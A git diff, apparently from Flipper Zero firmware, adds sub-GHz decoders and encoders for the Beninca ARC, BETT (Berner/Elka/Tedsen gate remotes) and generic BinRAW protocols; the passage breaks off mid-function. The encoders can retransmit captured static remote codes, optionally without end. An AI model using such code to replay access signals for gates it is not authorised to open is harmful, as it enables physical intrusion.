index 000000000..d61617002
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/beninca_arc.h
@@ -0,0 +1,108 @@
+#pragma once
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_BENINCA_ARC_NAME "Beninca ARC"
+
+typedef struct SubGhzProtocolDecoderBenincaARC SubGhzProtocolDecoderBenincaARC;
+typedef struct SubGhzProtocolEncoderBenincaARC SubGhzProtocolEncoderBenincaARC;
+
+extern const SubGhzProtocolDecoder subghz_protocol_beninca_arc_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_beninca_arc_encoder;
+extern const SubGhzProtocol subghz_protocol_beninca_arc;
+
+/**
+ * Allocate SubGhzProtocolEncoderBenincaARC.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderBenincaARC* pointer to a SubGhzProtocolEncoderBenincaARC instance
+ */
+void* subghz_protocol_encoder_beninca_arc_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderBenincaARC.
+ * @param context Pointer to a SubGhzProtocolEncoderBenincaARC instance
+ */
+void subghz_protocol_encoder_beninca_arc_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderBenincaARC instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return true On success
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_beninca_arc_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderBenincaARC instance
+ */
+void subghz_protocol_encoder_beninca_arc_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderBenincaARC instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_beninca_arc_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderBenincaARC.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderBenincaARC* pointer to a SubGhzProtocolDecoderBenincaARC instance
+ */
+void* subghz_protocol_decoder_beninca_arc_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderBenincaARC.
+ * @param context Pointer to a SubGhzProtocolDecoderBenincaARC instance
+ */
+void subghz_protocol_decoder_beninca_arc_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderBenincaARC.
+ * @param context Pointer to a SubGhzProtocolDecoderBenincaARC instance
+ */
+void subghz_protocol_decoder_beninca_arc_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderBenincaARC instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_beninca_arc_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderBenincaARC instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_beninca_arc_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderBenincaARC.
+ * @param context Pointer to a SubGhzProtocolDecoderBenincaARC instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_beninca_arc_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderBenincaARC.
+ * @param context Pointer to a SubGhzProtocolDecoderBenincaARC instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_beninca_arc_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderBenincaARC instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_beninca_arc_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/bett.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/bett.c
new file mode 100644
index 000000000..2d61e33a8
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/bett.c
@@ -0,0 +1,333 @@
+#include "bett.h"
+
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+// protocol BERNER / ELKA / TEDSEN / TELETASTER
+#define TAG "SubGhzProtocolBett"
+
+#define DIP_P 0b11 //(+)
+#define DIP_O 0b10 //(0)
+#define DIP_N 0b00 //(-)
+
+#define DIP_PATTERN "%c%c%c%c%c%c%c%c%c"
+#define SHOW_DIP_P(dip, check_dip)                         \
+    ((((dip >> 0x8) >> 0x8) == check_dip) ? '*' : '_'),    \
+        ((((dip >> 0xE) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0xC) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0xA) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0x8) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0x6) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0x4) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0x2) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0x0) & 0x3) == check_dip) ? '*' : '_')
+
+static const SubGhzBlockConst subghz_protocol_bett_const = {
+    .te_short = 340,
+    .te_long = 2000,
+    .te_delta = 150,
+    .min_count_bit_for_found = 18,
+};
+
+struct SubGhzProtocolDecoderBETT {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderBETT {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    BETTDecoderStepReset = 0,
+    BETTDecoderStepSaveDuration,
+    BETTDecoderStepCheckDuration,
+} BETTDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_bett_decoder = {
+    .alloc = subghz_protocol_decoder_bett_alloc,
+    .free = subghz_protocol_decoder_bett_free,
+
+    .feed = subghz_protocol_decoder_bett_feed,
+    .reset = subghz_protocol_decoder_bett_reset,
+
+    .get_hash_data = subghz_protocol_decoder_bett_get_hash_data,
+    .serialize = subghz_protocol_decoder_bett_serialize,
+    .deserialize = subghz_protocol_decoder_bett_deserialize,
+    .get_string = subghz_protocol_decoder_bett_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_bett_encoder = {
+    .alloc = subghz_protocol_encoder_bett_alloc,
+    .free = subghz_protocol_encoder_bett_free,
+
+    .deserialize = subghz_protocol_encoder_bett_deserialize,
+    .stop = subghz_protocol_encoder_bett_stop,
+    .yield = subghz_protocol_encoder_bett_yield,
+};
+
+const SubGhzProtocol subghz_protocol_bett = {
+    .name = SUBGHZ_PROTOCOL_BETT_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_bett_decoder,
+    .encoder = &subghz_protocol_bett_encoder,
+};
+
+void* subghz_protocol_encoder_bett_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderBETT* instance = malloc(sizeof(SubGhzProtocolEncoderBETT));
+
+    instance->base.protocol = &subghz_protocol_bett;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 52;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_bett_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderBETT* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderBETT instance
+ * @return true On success
+ */
+static bool subghz_protocol_encoder_bett_get_upload(SubGhzProtocolEncoderBETT* instance) {
+    furi_assert(instance);
+    size_t index = 0;
+    size_t size_upload = (instance->generic.data_count_bit * 2);
+    if(size_upload > instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
+        return false;
+    } else {
+        instance->encoder.size_upload = size_upload;
+    }
+
+    for(uint8_t i = instance->generic.data_count_bit; i > 1; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            //send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_bett_const.te_long);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_bett_const.te_short);
+        } else {
+            //send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_bett_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_bett_const.te_long);
+        }
+    }
+    if(bit_read(instance->generic.data, 0)) {
+        //send bit 1
+        instance->encoder.upload[index++] =
+            level_duration_make(true, (uint32_t)subghz_protocol_bett_const.te_long);
+        instance->encoder.upload[index++] = level_duration_make(
+            false,
+            (uint32_t)subghz_protocol_bett_const.te_short +
+                subghz_protocol_bett_const.te_long * 7);
+    } else {
+        //send bit 0
+        instance->encoder.upload[index++] =
+            level_duration_make(true, (uint32_t)subghz_protocol_bett_const.te_short);
+        instance->encoder.upload[index++] = level_duration_make(
+            false,
+            (uint32_t)subghz_protocol_bett_const.te_long + subghz_protocol_bett_const.te_long * 7);
+    }
+    return true;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_bett_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderBETT* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_bett_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            FURI_LOG_E(TAG, "Deserialize error");
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!subghz_protocol_encoder_bett_get_upload(instance)) {
+            ret = SubGhzProtocolStatusErrorEncoderGetUpload;
+            break;
+        }
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_bett_stop(void* context) {
+    SubGhzProtocolEncoderBETT* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_bett_yield(void* context) {
+    SubGhzProtocolEncoderBETT* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_bett_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderBETT* instance = malloc(sizeof(SubGhzProtocolDecoderBETT));
+    instance->base.protocol = &subghz_protocol_bett;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_bett_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderBETT* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_bett_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderBETT* instance = context;
+    instance->decoder.parser_step = BETTDecoderStepReset;
+}
+
+void subghz_protocol_decoder_bett_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderBETT* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case BETTDecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_bett_const.te_short * 44) <
+                        (subghz_protocol_bett_const.te_delta * 15))) {
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+            instance->decoder.parser_step = BETTDecoderStepCheckDuration;
+        }
+        break;
+    case BETTDecoderStepSaveDuration:
+        if(!level) {
+            if(DURATION_DIFF(duration, subghz_protocol_bett_const.te_short * 44) <
+               (subghz_protocol_bett_const.te_delta * 15)) {
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_bett_const.min_count_bit_for_found) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                } else {
+                    instance->decoder.parser_step = BETTDecoderStepReset;
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                break;
+            } else {
+                if((DURATION_DIFF(duration, subghz_protocol_bett_const.te_short) <
+                    subghz_protocol_bett_const.te_delta) ||
+                   (DURATION_DIFF(duration, subghz_protocol_bett_const.te_long) <
+                    subghz_protocol_bett_const.te_delta * 3)) {
+                    instance->decoder.parser_step = BETTDecoderStepCheckDuration;
+                } else {
+                    instance->decoder.parser_step = BETTDecoderStepReset;
+                }
+            }
+        }
+        break;
+    case BETTDecoderStepCheckDuration:
+        if(level) {
+            if(DURATION_DIFF(duration, subghz_protocol_bett_const.te_long) <
+               subghz_protocol_bett_const.te_delta * 3) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = BETTDecoderStepSaveDuration;
+            } else if(
+                DURATION_DIFF(duration, subghz_protocol_bett_const.te_short) <
+                subghz_protocol_bett_const.te_delta) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = BETTDecoderStepSaveDuration;
+            } else {
+                instance->decoder.parser_step = BETTDecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = BETTDecoderStepReset;
+        }
+        break;
+    }
+}
+
+uint8_t subghz_protocol_decoder_bett_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderBETT* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_bett_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderBETT* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_bett_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderBETT* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic, flipper_format, subghz_protocol_bett_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_bett_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderBETT* instance = context;
+    uint32_t data = (uint32_t)(instance->generic.data & 0x3FFFF);
+    furi_string_cat_printf(
+        output,
+        "%s %dbit\r\n"
+        "Key:%05lX\r\n"
+        "  +:   " DIP_PATTERN "\r\n"
+        "  o:   " DIP_PATTERN "\r\n"
+        "  -:   " DIP_PATTERN "\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        data,
+        SHOW_DIP_P(data, DIP_P),
+        SHOW_DIP_P(data, DIP_O),
+        SHOW_DIP_P(data, DIP_N));
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/bett.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/bett.h
new file mode 100644
index 000000000..0a11cbe69
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/bett.h
@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_BETT_NAME "BETT"
+
+typedef struct SubGhzProtocolDecoderBETT SubGhzProtocolDecoderBETT;
+typedef struct SubGhzProtocolEncoderBETT SubGhzProtocolEncoderBETT;
+
+extern const SubGhzProtocolDecoder subghz_protocol_bett_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_bett_encoder;
+extern const SubGhzProtocol subghz_protocol_bett;
+
+/**
+ * Allocate SubGhzProtocolEncoderBETT.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderBETT* pointer to a SubGhzProtocolEncoderBETT instance
+ */
+void* subghz_protocol_encoder_bett_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderBETT.
+ * @param context Pointer to a SubGhzProtocolEncoderBETT instance
+ */
+void subghz_protocol_encoder_bett_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderBETT instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_bett_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderBETT instance
+ */
+void subghz_protocol_encoder_bett_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderBETT instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_bett_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderBETT.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderBETT* pointer to a SubGhzProtocolDecoderBETT instance
+ */
+void* subghz_protocol_decoder_bett_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderBETT.
+ * @param context Pointer to a SubGhzProtocolDecoderBETT instance
+ */
+void subghz_protocol_decoder_bett_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderBETT.
+ * @param context Pointer to a SubGhzProtocolDecoderBETT instance
+ */
+void subghz_protocol_decoder_bett_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderBETT instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_bett_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderBETT instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_bett_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderBETT.
+ * @param context Pointer to a SubGhzProtocolDecoderBETT instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_bett_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderBETT.
+ * @param context Pointer to a SubGhzProtocolDecoderBETT instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_bett_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderBETT instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_bett_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/bin_raw.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/bin_raw.c
new file mode 100644
index 000000000..b3959363a
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/bin_raw.c
@@ -0,0 +1,1150 @@
+#include "bin_raw.h"
+
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+#include <lib/toolbox/float_tools.h>
+#include <lib/toolbox/stream/stream.h>
+#include <lib/flipper_format/flipper_format_i.h>
+
+#include <math.h>
+
+#define TAG "SubGhzProtocolBinRaw"
+
+//change very carefully, RAM ends at the most inopportune moment
+#define BIN_RAW_BUF_RAW_SIZE  2048
+#define BIN_RAW_BUF_DATA_SIZE 512
+
+#define BIN_RAW_THRESHOLD_RSSI     -85.0f
+#define BIN_RAW_DELTA_RSSI         7.0f
+#define BIN_RAW_SEARCH_CLASSES     20
+#define BIN_RAW_TE_MIN_COUNT       40
+#define BIN_RAW_BUF_MIN_DATA_COUNT 128
+#define BIN_RAW_MAX_MARKUP_COUNT   20
+
+//#define BIN_RAW_DEBUG
+
+#ifdef BIN_RAW_DEBUG
+#define bin_raw_debug(...) FURI_LOG_RAW_D(__VA_ARGS__)
+#define bin_raw_debug_tag(tag, ...)                \
+    FURI_LOG_RAW_D("\033[0;32m[" tag "]\033[0m "); \
+    FURI_LOG_RAW_D(__VA_ARGS__)
+#else
+#define bin_raw_debug(...)
+#define bin_raw_debug_tag(...)
+#endif
+
+static const SubGhzBlockConst subghz_protocol_bin_raw_const = {
+    .te_short = 30,
+    .te_long = 65000,
+    .te_delta = 0,
+    .min_count_bit_for_found = 0,
+};
+
+typedef enum {
+    BinRAWDecoderStepReset = 0,
+    BinRAWDecoderStepWrite,
+    BinRAWDecoderStepBufFull,
+    BinRAWDecoderStepNoParse,
+} BinRAWDecoderStep;
+
+typedef enum {
+    BinRAWTypeUnknown = 0,
+    BinRAWTypeNoGap,
+    BinRAWTypeGap,
+    BinRAWTypeGapRecurring,
+    BinRAWTypeGapRolling,
+    BinRAWTypeGapUnknown,
+} BinRAWType;
+
+struct BinRAW_Markup {
+    uint16_t byte_bias;
+    uint16_t bit_count;
+};
+typedef struct BinRAW_Markup BinRAW_Markup;
+
+struct SubGhzProtocolDecoderBinRAW {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+    int32_t* data_raw;
+    uint8_t* data;
+    BinRAW_Markup data_markup[BIN_RAW_MAX_MARKUP_COUNT];
+    size_t data_raw_ind;
+    uint32_t te;
+    float adaptive_threshold_rssi;
+};
+
+struct SubGhzProtocolEncoderBinRAW {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+
+    uint8_t* data;
+    BinRAW_Markup data_markup[BIN_RAW_MAX_MARKUP_COUNT];
+    uint32_t te;
+};
+
+const SubGhzProtocolDecoder subghz_protocol_bin_raw_decoder = {
+    .alloc = subghz_protocol_decoder_bin_raw_alloc,
+    .free = subghz_protocol_decoder_bin_raw_free,
+
+    .feed = subghz_protocol_decoder_bin_raw_feed,
+    .reset = subghz_protocol_decoder_bin_raw_reset,
+
+    .get_hash_data = subghz_protocol_decoder_bin_raw_get_hash_data,
+    .serialize = subghz_protocol_decoder_bin_raw_serialize,
+    .deserialize = subghz_protocol_decoder_bin_raw_deserialize,
+    .get_string = subghz_protocol_decoder_bin_raw_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_bin_raw_encoder = {
+    .alloc = subghz_protocol_encoder_bin_raw_alloc,
+    .free = subghz_protocol_encoder_bin_raw_free,
+
+    .deserialize = subghz_protocol_encoder_bin_raw_deserialize,
+    .stop = subghz_protocol_encoder_bin_raw_stop,
+    .yield = subghz_protocol_encoder_bin_raw_yield,
+};
+
+const SubGhzProtocol subghz_protocol_bin_raw = {
+    .name = SUBGHZ_PROTOCOL_BIN_RAW_NAME,
+    .type = SubGhzProtocolTypeBinRAW,
+#ifdef BIN_RAW_DEBUG
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 |
+            SubGhzProtocolFlag_AM | SubGhzProtocolFlag_FM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+#else
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 |
+            SubGhzProtocolFlag_AM | SubGhzProtocolFlag_FM | SubGhzProtocolFlag_BinRAW |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+#endif
+    .decoder = &subghz_protocol_bin_raw_decoder,
+    .encoder = &subghz_protocol_bin_raw_encoder,
+};
+
+static uint16_t subghz_protocol_bin_raw_get_full_byte(uint16_t bit_count) {
+    if(bit_count & 0x7) {
+        return (bit_count >> 3) + 1;
+    } else {
+        return bit_count >> 3;
+    }
+}
+
+void* subghz_protocol_encoder_bin_raw_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderBinRAW* instance = malloc(sizeof(SubGhzProtocolEncoderBinRAW));
+
+    instance->base.protocol = &subghz_protocol_bin_raw;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = BIN_RAW_BUF_DATA_SIZE * 5;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->data = malloc(instance->encoder.size_upload * sizeof(uint8_t));
+    memset(instance->data_markup, 0x00, BIN_RAW_MAX_MARKUP_COUNT * sizeof(BinRAW_Markup));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_bin_raw_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderBinRAW* instance = context;
+    free(instance->encoder.upload);
+    free(instance->data);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderBinRAW instance
+ * @return true On success
+ */
+static bool subghz_protocol_encoder_bin_raw_get_upload(SubGhzProtocolEncoderBinRAW* instance) {
+    furi_assert(instance);
+
+    //we glue all the pieces of the package into 1 long sequence with left alignment,
+    //in the uploaded data we have right alignment.
+
+    bin_raw_debug_tag(TAG, "Recovery of offset bits in sequences\r\n");
+    uint16_t i = 0;
+    uint16_t ind = 0;
+    bin_raw_debug("\tind  byte_bias\tbit_count\tbit_bias\r\n");
+    while((i < BIN_RAW_MAX_MARKUP_COUNT) && (instance->data_markup[i].bit_count != 0)) {
+        uint8_t bit_bias =
+            subghz_protocol_bin_raw_get_full_byte(instance->data_markup[i].bit_count) * 8 -
+            instance->data_markup[i].bit_count;
+        bin_raw_debug(
+            "\t%d\t%d\t%d :\t\t%d\r\n",
+            i,
+            instance->data_markup[i].byte_bias,
+            instance->data_markup[i].bit_count,
+            bit_bias);
+        for(uint16_t y = instance->data_markup[i].byte_bias * 8;
+            y < instance->data_markup[i].byte_bias * 8 +
+                    subghz_protocol_bin_raw_get_full_byte(instance->data_markup[i].bit_count) * 8 -
+                    bit_bias;
+            y++) {
+            subghz_protocol_blocks_set_bit_array(
+                subghz_protocol_blocks_get_bit_array(instance->data, y + bit_bias),
+                instance->data,
+                ind++,
+                BIN_RAW_BUF_DATA_SIZE);
+        }
+        i++;
+    }
+    bin_raw_debug("\r\n");
+#ifdef BIN_RAW_DEBUG
+    bin_raw_debug_tag(TAG, "Restored Sequence left aligned\r\n");
+    for(uint16_t y = 0; y < subghz_protocol_bin_raw_get_full_byte(ind); y++) {
+        bin_raw_debug("%02X ", instance->data[y]);
+    }
+    bin_raw_debug("\r\n\tbin_count_result= %d\r\n\r\n", ind);
+
+    bin_raw_debug_tag(
+        TAG, "Maximum levels encoded in upload %zu\r\n", instance->encoder.size_upload);
+#endif
+    instance->encoder.size_upload = subghz_protocol_blocks_get_upload_from_bit_array(
+        instance->data,
+        ind,
+        instance->encoder.upload,
+        instance->encoder.size_upload,
+        instance->te,
+        SubGhzProtocolBlockAlignBitLeft);
+
+    bin_raw_debug_tag(TAG, "The result %zu is levels\r\n", instance->encoder.size_upload);
+    bin_raw_debug_tag(TAG, "Remaining free memory %zu\r\n", memmgr_get_free_heap());
+    return true;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_bin_raw_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderBinRAW* instance = context;
+
+    SubGhzProtocolStatus res = SubGhzProtocolStatusError;
+    uint32_t temp_data = 0;
+
+    do {
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            res = SubGhzProtocolStatusErrorParserOthers;
+            break;
+        }
+        if(!flipper_format_read_uint32(flipper_format, "Bit", (uint32_t*)&temp_data, 1)) {
+            FURI_LOG_E(TAG, "Missing Bit");
+            res = SubGhzProtocolStatusErrorParserBitCount;
+            break;
+        }
+
+        instance->generic.data_count_bit = (uint16_t)temp_data;
+
+        if(!flipper_format_read_uint32(flipper_format, "TE", (uint32_t*)&instance->te, 1)) {
+            FURI_LOG_E(TAG, "Missing TE");
+            res = SubGhzProtocolStatusErrorParserTe;
+            break;
+        }
+
+        temp_data = 0;
+        uint16_t ind = 0;
+        uint16_t byte_bias = 0;
+        uint16_t byte_count = 0;
+        memset(instance->data_markup, 0x00, BIN_RAW_MAX_MARKUP_COUNT * sizeof(BinRAW_Markup));
+        while(flipper_format_read_uint32(flipper_format, "Bit_RAW", (uint32_t*)&temp_data, 1)) {
